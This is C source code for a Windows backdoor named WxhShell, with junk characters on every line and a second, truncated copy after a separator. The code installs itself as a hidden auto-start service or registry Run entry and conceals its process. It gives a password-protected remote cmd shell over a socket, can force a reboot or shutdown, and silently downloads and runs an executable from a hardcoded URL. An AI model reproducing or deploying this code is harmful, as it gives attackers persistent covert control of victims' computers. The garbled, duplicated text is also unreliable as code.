    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?-w<H!Y7  
    if(Boot(SHUTDOWN)) 4lMf'V7*l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K TJm[44  
    else { ? S^ U-.`  
    closesocket(wsh); 3oX\q/$  
    ExitThread(0); NuZiLtC  
    } X6I"&yct  
    break; "NR`{1f:O  
    } cKt=_4Lf  
  // 获取shell 7M;7jI/C  
  case 's': { yO\ .dp  
    CmdShell(wsh); -\C;2&(  
    closesocket(wsh); 8D3|}z?  
    ExitThread(0); &`+tWL6L  
    break; gXZl3  
  } hKo& ZWPq  
  // 退出 pRyePxCDj)  
  case 'x': { <4r3ZV;'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E(]39B"i  
    CloseIt(wsh); }pqnF53  
    break; F(+,M~  
    } g{{DC )>  
  // 离开 a=n* }.  
  case 'q': { aQzDOeTi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,gAa9  
    closesocket(wsh); oD1rt>k  
    WSACleanup(); LsB|}_j7  
    exit(1); 8$)xxV_zp  
    break; ;7,>2VTm  
        } e$'|EE.=q+  
  } |6@s6]%X}  
  } VZhtx)  
RLl*@SEi"  
  // 提示信息 8SH&b8k<<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B?A]0S  
} +d/V^ <#  
  } H!N`hEEj>  
m5i?<Ko@  
  return; YU >NGC]}d  
} <5).(MTa  
9BW"^$  
// shell模块句柄 p1}umDb%  
int CmdShell(SOCKET sock) ]J|]IP Xy  
{ G,o5JL"t  
STARTUPINFO si; JK.<(=y\  
ZeroMemory(&si,sizeof(si)); $W}YXLFj?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BF)!VnJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1nGpW$Gx  
PROCESS_INFORMATION ProcessInfo; pE&'Xr#P>  
char cmdline[]="cmd"; )?d(7d-l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R3 Zg,YM  
  return 0; N{kp^Byim0  
} 6l Suzu  
Rda~Drz  
// 自身启动模式 qXF#qS-28  
int StartFromService(void) V.\12P  
{ /O`<?aP%  
typedef struct Mg pjC`  
{ $c^,TAN  
  DWORD ExitStatus; Cpg>5N~;L  
  DWORD PebBaseAddress; pUV4oyGV   
  DWORD AffinityMask; Uw!N;QsC  
  DWORD BasePriority; rJz`v/:|P  
  ULONG UniqueProcessId; >]dH1@@  
  ULONG InheritedFromUniqueProcessId; P:8 qm DXo  
}   PROCESS_BASIC_INFORMATION; v?6g. [;?  
 =&8Cg  
PROCNTQSIP NtQueryInformationProcess; )#%v1rR  
 yxx9h3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |[+/ ]Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NC @L,)F  
^uCZO  
  HANDLE             hProcess; [N=v=J9  
  PROCESS_BASIC_INFORMATION pbi; 8?l/x  
yq6Gyoi<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TmEJ!)*  
  if(NULL == hInst ) return 0; DH IC:6EY  
ja2BK\"1:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eN,6p '&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ns2<wl-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %+8" -u  
cPp<+ ts  
  if (!NtQueryInformationProcess) return 0; z79c30y]"  
j 3t,Cx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %3kS;AaA  
  if(!hProcess) return 0; Y[~Dj@Q<  
zm~sq_=^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %mFZ!(  
"h\ (a<  
  CloseHandle(hProcess); +eUWf{(_  
Bx" eX>A8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (qyT,K8  
if(hProcess==NULL) return 0; u%24% Q  
Rlwewxmr  
HMODULE hMod; ,v@C=4'm  
char procName[255]; P9yg  
unsigned long cbNeeded; n=iL6Yu(  
=zsA@UM0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EK 8rV  
k1_" }B5  
  CloseHandle(hProcess); N+nv#]{  
VRQD  
if(strstr(procName,"services")) return 1; // 以服务启动 YiGSFg  
c,L{Qv"n{  
  return 0; // 注册表启动 Ljs4^vy <J  
} v!WkPvU  
=6O<1<[y  
// 主模块 opIbs7k-  
int StartWxhshell(LPSTR lpCmdLine) .~AQxsGH  
{ QLLMSa+! \  
  SOCKET wsl; Ha41Wn'tZ  
BOOL val=TRUE; E'^$~h$  
  int port=0; 7=`_UqCV  
  struct sockaddr_in door; /D~MHO{  
ir<K"wi(2  
  if(wscfg.ws_autoins) Install(); L (@".{T  
EC8Fapy  
port=atoi(lpCmdLine); @Wl2E.)K;  
V2oXg  
if(port<=0) port=wscfg.ws_port; d`sIgll&n  
kE[Hq-J=N  
  WSADATA data; AAc*\K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XCyAt;neon  
f+V^q4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /oC@:7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LUKt!I0l  
  door.sin_family = AF_INET; L43]0k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `)n/J+g  
  door.sin_port = htons(port); p%#=OtkC  
ZxoAf;U~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S%IhpTSe6  
closesocket(wsl); VlFhfOR6t  
return 1; 3R?6{.  
} p/ au.mc  
r"$~Gg.%(  
  if(listen(wsl,2) == INVALID_SOCKET) { kJNu2S  
closesocket(wsl); c.{t +OR  
return 1; j|w_BO 9  
} L IN$Y  
  Wxhshell(wsl); h { M=V  
  WSACleanup(); W8N__  
:Oh*Q(>  
return 0; (X/dP ~  
'9tV-whw  
} XJ6=Hg4_O  
N?l  
// 以NT服务方式启动 b~Un=-@5a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qk_YFR?R  
{ XF i!=|F  
DWORD   status = 0; #4Ltw ,b^  
  DWORD   specificError = 0xfffffff; H$!sK  
/L; c -^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V2o1~R~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 58[.]f~0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zOn% \  
  serviceStatus.dwWin32ExitCode     = 0; d 6=Z=4w  
  serviceStatus.dwServiceSpecificExitCode = 0; n_eN|m?@  
  serviceStatus.dwCheckPoint       = 0; +L-(Lz[p  
  serviceStatus.dwWaitHint       = 0; !)HB+yr  
W.7XShwd*2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); il~A(`+YO  
  if (hServiceStatusHandle==0) return; Jl-:@[;  
,r,$x4*  
status = GetLastError(); LB/1To  
  if (status!=NO_ERROR) 8],tGMu  
{ q{2 +Inf#:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qt=nN-AC(  
    serviceStatus.dwCheckPoint       = 0; 2|JtRE+  
    serviceStatus.dwWaitHint       = 0; OR<%h/ \f  
    serviceStatus.dwWin32ExitCode     = status; .9$ 7 +  
    serviceStatus.dwServiceSpecificExitCode = specificError; "W@>lf?"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0}wmBSl  
    return; +?ilTU  
  } c^8csQ fG  
{O5(O oDa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h"4i/L3aAh  
  serviceStatus.dwCheckPoint       = 0; W;QU6z>  
  serviceStatus.dwWaitHint       = 0; @WTzFjv@?4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @ayrI]m#>,  
} Z ItS(o J.  
-m_H]<lWZ  
// 处理NT服务事件,比如:启动、停止 i _YJq;(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2+}hsGnp  
{ LLd5Z44v  
switch(fdwControl) z c&i 4K  
{ (3QG  
case SERVICE_CONTROL_STOP: HC>MCwx=r  
  serviceStatus.dwWin32ExitCode = 0; P$Fq62;}r4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DlxL:  
  serviceStatus.dwCheckPoint   = 0; <>R\lPI2  
  serviceStatus.dwWaitHint     = 0; 66l+cb  
  { &b=OT%D~FU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z>_F:1x  
  } 9PWqoz2c  
  return; 2SJ|$VsLaE  
case SERVICE_CONTROL_PAUSE: JB9s# `  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nD}CQ_C  
  break; pg/SYEvsV  
case SERVICE_CONTROL_CONTINUE: gbT1d:T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e6 a]XO^  
  break; ]z"7v  
case SERVICE_CONTROL_INTERROGATE: -jcgxQH53  
  break; p#>d1R1&  
}; MxLi'R=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N6w!V]b  
} i ?]`9z  
8=WX`*-uH  
// 标准应用程序主函数 (dQsR sA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [=& tN)_  
{ wG",Obja  
f_;6uCCO  
// 获取操作系统版本 KpfQ=~'  
OsIsNt=GetOsVer(); "q3W& @  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f6JC>Np  
k'PNfx\K  
  // 从命令行安装 `c/mmS  
  if(strpbrk(lpCmdLine,"iI")) Install(); fB`7f $[  
o>@9[F,h+  
  // 下载执行文件 U%l<48@8  
if(wscfg.ws_downexe) { RZTC+ylj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i1DJ0xC]  
  WinExec(wscfg.ws_filenam,SW_HIDE); A?ij  
} !"s~dL,7  
D |9ItxYu  
if(!OsIsNt) { BB3wG*q  
// 如果时win9x,隐藏进程并且设置为注册表启动 (x/xqDpmBS  
HideProc(); -(l/.yE{X  
StartWxhshell(lpCmdLine); p[:E$#W~;  
} 7"s8G 7  
else [Q:mLc  
  if(StartFromService()) vl:V?-sY  
  // 以服务方式启动 k_](u91  
  StartServiceCtrlDispatcher(DispatchTable); C~8;2/F7  
else f<Xi/ (  
  // 普通方式启动 Ue!~|:  
  StartWxhshell(lpCmdLine); 6 i'kc3w  
);1UbqVPD  
return 0; 2sYOO>  
} <XH,kI(%  
u8Oo@xf0Fr  
 9t_N 9@  
zi= gOm  
=========================================== `m=u2kxY  
'h{| ]  
:{M1]0 NH  
,]Q i/m  
2PG= T/  
]_y0wLq  
" /..a9x{At>  
TY]-L1$  
#include <stdio.h> ),&tF_z:  
#include <string.h> 0/,Dy2h  
#include <windows.h> +hz S'z)n&  
#include <winsock2.h> %TS8 9/  
#include <winsvc.h> OQ*rxL cA  
#include <urlmon.h> q+cx.Rc#  
Erq% Ck(  
#pragma comment (lib, "Ws2_32.lib") *;Gnod<  
#pragma comment (lib, "urlmon.lib") d <Rv~F@  
GOj<>h}r  
#define MAX_USER   100 // 最大客户端连接数 Z Ne(sg~G  
#define BUF_SOCK   200 // sock buffer =SpD6 9-H  
#define KEY_BUFF   255 // 输入 buffer G ,? l o=m  
l@<yC-Xd  
#define REBOOT     0   // 重启 zj UT:#(k  
#define SHUTDOWN   1   // 关机 %fB!XCW  
9P\R?~3  
#define DEF_PORT   5000 // 监听端口 K4j2xSGeo  
q.Vcb!*$  
#define REG_LEN     16   // 注册表键长度   7)  
#define SVC_LEN     80   // NT服务名长度 -/gAb<=  
hWfC"0  
// 从dll定义API f1 TYQ?e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N!YjMx)P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oz#;7 ?9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (#5TM1/A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {5J: ]{p  
y5$AAas  
// wxhshell配置信息   ]n (:X  
struct WSCFG { $}z%}v  
  int ws_port;         // 监听端口 pPnJf{  
  char ws_passstr[REG_LEN]; // 口令 1^^9'/  
  int ws_autoins;       // 安装标记, 1=yes 0=no #S*cFnd  
  char ws_regname[REG_LEN]; // 注册表键名 KdU&q+C^  
  char ws_svcname[REG_LEN]; // 服务名 @zAav>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K %Qj<{)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Nd;,Wz]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~2M+Me  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _~a5;[~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L__J(6,V2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vu=`s|R  
Lzy Ix!S  
}; r E<Ou"  
v]e6CZwo  
// default Wxhshell configuration n s`njx}C  
struct WSCFG wscfg={DEF_PORT, cH{[\F"Eb  
    "xuhuanlingzhe", wxIWh>pZa  
    1, C .{`-RO  
    "Wxhshell", $R_RKyXzo  
    "Wxhshell", s7G!4en  
            "WxhShell Service", 5.X`[/]<r  
    "Wrsky Windows CmdShell Service", z2Kvp"-}  
    "Please Input Your Password: ", 0VwmV_6'<W  
  1, 02 6|u|R  
  "http://www.wrsky.com/wxhshell.exe", +?R !  
  "Wxhshell.exe" <WGx 6{  
    }; rIo)'L$uU  
{*Tnl-m~  
// 消息定义模块 C|H/x\?zRv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *7:HO{P>Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j/*4Wj[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q=T/hb  
char *msg_ws_ext="\n\rExit."; i\94e{uty[  
char *msg_ws_end="\n\rQuit."; &I=F4 z  
char *msg_ws_boot="\n\rReboot..."; m* JbZT  
char *msg_ws_poff="\n\rShutdown..."; r8Pdk/CW^  
char *msg_ws_down="\n\rSave to "; /FW{>N1   
U5pg<xI  
char *msg_ws_err="\n\rErr!"; G'0]m-)dw  
char *msg_ws_ok="\n\rOK!"; U?sio%`(  
JtGBNz!"  
char ExeFile[MAX_PATH]; z4iZE*ZS  
int nUser = 0; ~ $QNp#dq  
HANDLE handles[MAX_USER]; HI*j6H?\  
int OsIsNt; $ ";NS6 1  
G@I/Dy  
SERVICE_STATUS       serviceStatus; AW< z7B D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /%9CR'%*c  
sV5S>*A[  
// 函数声明 `(6g87h  
int Install(void); HDV$y=oHh  
int Uninstall(void); 0 $_0T  
int DownloadFile(char *sURL, SOCKET wsh); cBz_L"5vr[  
int Boot(int flag); UKfpoDhEe  
void HideProc(void); Y~C;M6(P  
int GetOsVer(void); q>H f2R  
int Wxhshell(SOCKET wsl); "+GKU)  
void TalkWithClient(void *cs); vhot-rBN  
int CmdShell(SOCKET sock); ?)i`)mu'  
int StartFromService(void); ed6eC8@  
int StartWxhshell(LPSTR lpCmdLine); &R~)/y0]  
\CDzVO0^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /C"?Y'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %jRqrICd  
JMIS*njq^  
// 数据结构和表定义 O~=|6#c  
SERVICE_TABLE_ENTRY DispatchTable[] = "E/UNE6P4  
{ dxAP7v  
{wscfg.ws_svcname, NTServiceMain}, .Bb86Y=3  
{NULL, NULL} |uRZT3bGyj  
}; "O j2B|:s&  
6-vQQ-\  
// 自我安装 - BE.a<  
int Install(void) &ytnoj1L(  
{ =%IBl]Z!"  
  char svExeFile[MAX_PATH]; >;M?f!  
  HKEY key; 9Vh>ty1|_  
  strcpy(svExeFile,ExeFile); whdoG{/  
U9:w^t[Pp  
// 如果是win9x系统,修改注册表设为自启动 vh">Z4  
if(!OsIsNt) {  #:st>V_h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /UAcN1K!B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dB%q`7O  
  RegCloseKey(key); "Nlw&+ c7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZB@Bj>,b p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >ho$mvT  
  RegCloseKey(key); yYri.n  
  return 0; \~bx%VWW4  
    } X!/o7<  
  } Z;4pI@ u  
} ->29Tns  
else { sn6:\X<[  
A(dWA e,  
// 如果是NT以上系统,安装为系统服务 ~D$?.,=l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _}RzJKl@  
if (schSCManager!=0) =i:6&Y~VGq  
{  J0Ik@  
  SC_HANDLE schService = CreateService tP ;^;nw  
  ( f~{@(g&Gl  
  schSCManager, y %4G[Dz  
  wscfg.ws_svcname, 1p|}=R  
  wscfg.ws_svcdisp, 2^.qKY@g@  
  SERVICE_ALL_ACCESS, ZN]LJ4|xu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Am&PH(}L  
  SERVICE_AUTO_START, ?.%'[n>P  
  SERVICE_ERROR_NORMAL, ?}D|]i34  
  svExeFile, 1y)|m63&  
  NULL, >nA6w$  
  NULL, @+(TM5Ub  
  NULL, Ebk_(Py\  
  NULL, 5l ioL)  
  NULL P.Uz[_&l6  
  ); g k.c"$2  
  if (schService!=0) \Rff3$  
  { f#3U,n8:  
  CloseServiceHandle(schService); aHzS>  
  CloseServiceHandle(schSCManager); R]y[n;aGC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FPB O=?H.  
  strcat(svExeFile,wscfg.ws_svcname); 0-!K@#$>=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '.8E_Jd0E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !f^'-  
  RegCloseKey(key); AO "pm  
  return 0; gPrIu+|F  
    } f3u^:6U~  
  } M*x1{g C/  
  CloseServiceHandle(schSCManager); Ous_269cM  
} UNB'Xjp}@  
} !0+!%Nr>J  
;#F7Fp*U  
return 1; lm 1Mz  
} o;D[ F  
tnCGa%M  
// 自我卸载 k25:H[   
int Uninstall(void) =eNh))]  
{ a?]"|tQ'  
  HKEY key; ;E{k+vkqy  
j>KJgSs]&\  
if(!OsIsNt) { ]*M-8_D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ">LX>uYmX-  
  RegDeleteValue(key,wscfg.ws_regname); 1aQR9zg%  
  RegCloseKey(key); ![OKmy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Y>17=|  
  RegDeleteValue(key,wscfg.ws_regname); GV aIZh<  
  RegCloseKey(key); ee0)%hc1t  
  return 0; vg6 ' ^5S7  
  } jZX2)#a!  
} hCcAAF*I;5  
} #A RQB2V  
else { |*w}bT(PfR  
`?H yDny  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :"pA0oB  
if (schSCManager!=0) ,iQRf@#W_b  
{ uN)o|7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6zGM[2  
  if (schService!=0) K Qz.g3,  
  { -/O_wqm#  
  if(DeleteService(schService)!=0) { ^lp#j;Df  
  CloseServiceHandle(schService); nhm)P_p   
  CloseServiceHandle(schSCManager); ? V0!N;  
  return 0; y]veqa  
  } \UF/_'=K  
  CloseServiceHandle(schService); }eO{+{D +  
  } Z"T#"FDIr  
  CloseServiceHandle(schSCManager); yG`J3++ S  
} `<z"BGQ  
} Wt%+q{  
^D=1%@l?#  
return 1; >4.K>U?0FC  
} el;eyGa  
#Pf?.NrTn  
// 从指定url下载文件 "GTlJqhk  
int DownloadFile(char *sURL, SOCKET wsh) _8f? H#&  
{ VT;Vm3\  
  HRESULT hr; d*e0/#s  
char seps[]= "/"; d\_$Nb*  
char *token; z~S(OM@olJ  
char *file; b85r=tm   
char myURL[MAX_PATH]; zB?} {@  
char myFILE[MAX_PATH]; p:GB"e9>H  
8-2e4^ g(  
strcpy(myURL,sURL); fXV+aZ  
  token=strtok(myURL,seps); 41S.&-u  
  while(token!=NULL) <h*r  
  { xDU{I0M  
    file=token; 4NY}=e5  
  token=strtok(NULL,seps); >+ P5Zm(_  
  } jOYa}jm?  
^Pq4 n%x  
GetCurrentDirectory(MAX_PATH,myFILE); f[AN=M"B"s  
strcat(myFILE, "\\"); ;9+[t8Y)D  
strcat(myFILE, file); lD%Fk3  
  send(wsh,myFILE,strlen(myFILE),0); GbLuX U  
send(wsh,"...",3,0); |A'y|/)#Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~ry B*eZH  
  if(hr==S_OK)  <:,m  
return 0; ^{IF2_h"  
else 3($cBC  
return 1; $E j;CN59  
$mV1K)ege  
} 907N;r  
VDyQv^=#  
// 系统电源模块 k`5jy~;  
int Boot(int flag) "x+o(jOy  
{ 1^x "P#u  
  HANDLE hToken; #s\HiO$BT  
  TOKEN_PRIVILEGES tkp; C3XB'CL6  
[%);N\o2Y  
  if(OsIsNt) { P0B`H7D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v/fo`]zP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hz*5ZIw  
    tkp.PrivilegeCount = 1; *CIR$sS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |B<;4ISaRI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BkP'b{z|  
if(flag==REBOOT) { nD8 Qeem@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iB]xYfQ&@V  
  return 0; lhx"<kR 4  
} ;77#$H8)  
else { -&Cb^$.-x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ","O8'$OC  
  return 0; :?2@qWaL  
} Aa.eu=@I  
  } d'oh-dj %^  
  else { J@Qt(rRxi  
if(flag==REBOOT) { SWX[|sjdB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l8XgzaW  
  return 0; p>g5WebBN  
} 4P406,T]r  
else { 6ka, FjJ\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4dEfXrMf  
  return 0; {CO]wqEj  
} - kGwbV}  
} k3HPY}-  
pQ_EJX)  
return 1; /tG0"1{  
} R">-h;#  
nOH x^(  
// win9x进程隐藏模块 !iys\ AV  
void HideProc(void) r@O5{V  
{ m#i5}uHHg  
8NE+G.:G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >{v,H Oxl  
  if ( hKernel != NULL ) wX!q dII)  
  { Z~?1xJ&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]#7{ x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QGR}`n2D  
    FreeLibrary(hKernel); 0Z m^6T  
  } gXNlnh%?S  
\W,,@ -  
return; bPlqS+ai_  
} !nBE[&  
i-<1M|f  
// 获取操作系统版本 oc^j<!Rh  
int GetOsVer(void) 'P:u/Sq?m  
{ i7%v2_  
  OSVERSIONINFO winfo; B2R^oL' }  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uIvAmc4  
  GetVersionEx(&winfo); 1(q &(p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z8Jrt3l{2  
  return 1; +nz6+{li\  
  else 61[ 8I},V  
  return 0; +.EP_2f9  
} Az`c? W%  
UdiogXZ  
// 客户端句柄模块 ,:E*Mw:  
int Wxhshell(SOCKET wsl) __3s3YG  
{ NrVE[Z#  
  SOCKET wsh; )'+ tb\g  
  struct sockaddr_in client; G2 E4  
  DWORD myID; 9W7 ljUg  
Wq+a5[3"  
  while(nUser<MAX_USER) wm'a)B?  
{ m\0Xh*  
  int nSize=sizeof(client); tbH` VD"u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zc`gm~@  
  if(wsh==INVALID_SOCKET) return 1; -J06H&/k  
X0}+X'3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6dN W2_  
if(handles[nUser]==0) 6H#4iMeh  
  closesocket(wsh); 9i=HZ\s3  
else 6w"_sK?  
  nUser++; !jySID?q  
  } Fad.!%[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mRNA,*  
mr 6~8 I  
  return 0; EZY <k#  
} X%Lhu6F  
t)i{=8 rq  
// 关闭 socket $M0F~x  
void CloseIt(SOCKET wsh)  UZV\]Y  
{ qdOUvf  
closesocket(wsh); lB(E:{6OZ  
nUser--; <73dXTZ0  
ExitThread(0); \C&[BQ\  
} UG!528;7  
, S }  
// 客户端请求句柄 xpU7ZY  
void TalkWithClient(void *cs) l9P=1TL  
{ p9(|p Z  
R^ln-H;  
  SOCKET wsh=(SOCKET)cs; DH>>u  
  char pwd[SVC_LEN]; t|5T,YFG  
  char cmd[KEY_BUFF]; WXj iKW(  
char chr[1]; z{q|HO  
int i,j; >x3$Ld  
Od,P,t9  
  while (nUser < MAX_USER) { *B3 4  
,u<oAI`  
if(wscfg.ws_passstr) { gB)Cmw*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k vQ] }`a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u^ 3,~:E  
  //ZeroMemory(pwd,KEY_BUFF); JQ~[$OGH  
      i=0; SJJ[y"GvD  
  while(i<SVC_LEN) { "C/X#y   
&Rp/y%9  
  // 设置超时 )ZQ>h{}D  
  fd_set FdRead; gic!yhsS_  
  struct timeval TimeOut; T!yI+<  
  FD_ZERO(&FdRead); r-s9]0"7~  
  FD_SET(wsh,&FdRead); [gybdI5wur  
  TimeOut.tv_sec=8; (Ev=kO  
  TimeOut.tv_usec=0; '| 6ZPv&N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <Rb[0E$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &<>NP?j}  
>* )fmfY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fN!lXPgM  
  pwd=chr[0]; ZYexW=@  
  if(chr[0]==0xd || chr[0]==0xa) { GL^84[f-T  
  pwd=0; #1z/rUh`Cr  
  break;  T1\@4x  
  } O!U8"Yr$  
  i++; `:Bm@eN  
    } 7/969h^s  
us7t>EMmB  
  // 如果是非法用户,关闭 socket IyPk3N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !j8 DCVb  
} ^Mmsja5K  
]=28s *@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q&@e,7]V+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zAkF:^#Y  
O}3|UI!`  
while(1) { !SPu9:  
=A]*r9  
  ZeroMemory(cmd,KEY_BUFF); sd,KB+)  
WcOnv'l,  
      // 自动支持客户端 telnet标准   +.2O Z3(  
  j=0; Q ^{XM  
  while(j<KEY_BUFF) { 7@NV|Idtd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /Pyj|!C3`q  
  cmd[j]=chr[0]; !zZ3F|+HB  
  if(chr[0]==0xa || chr[0]==0xd) { 8t5o&8v  
  cmd[j]=0; -FGM>~x  
  break; QnTKo&|9  
  } 4Nl3"@<$  
  j++; "sUjJ|  
    } *Tum(wWZ  
Iy#=Nq=  
  // 下载文件 5XzN%<_h9  
  if(strstr(cmd,"http://")) { d2U+%%Tdw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L&,&SDr  
  if(DownloadFile(cmd,wsh)) *w`_(X f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s|[CvjL#0  
  else w\zNn4B})A  
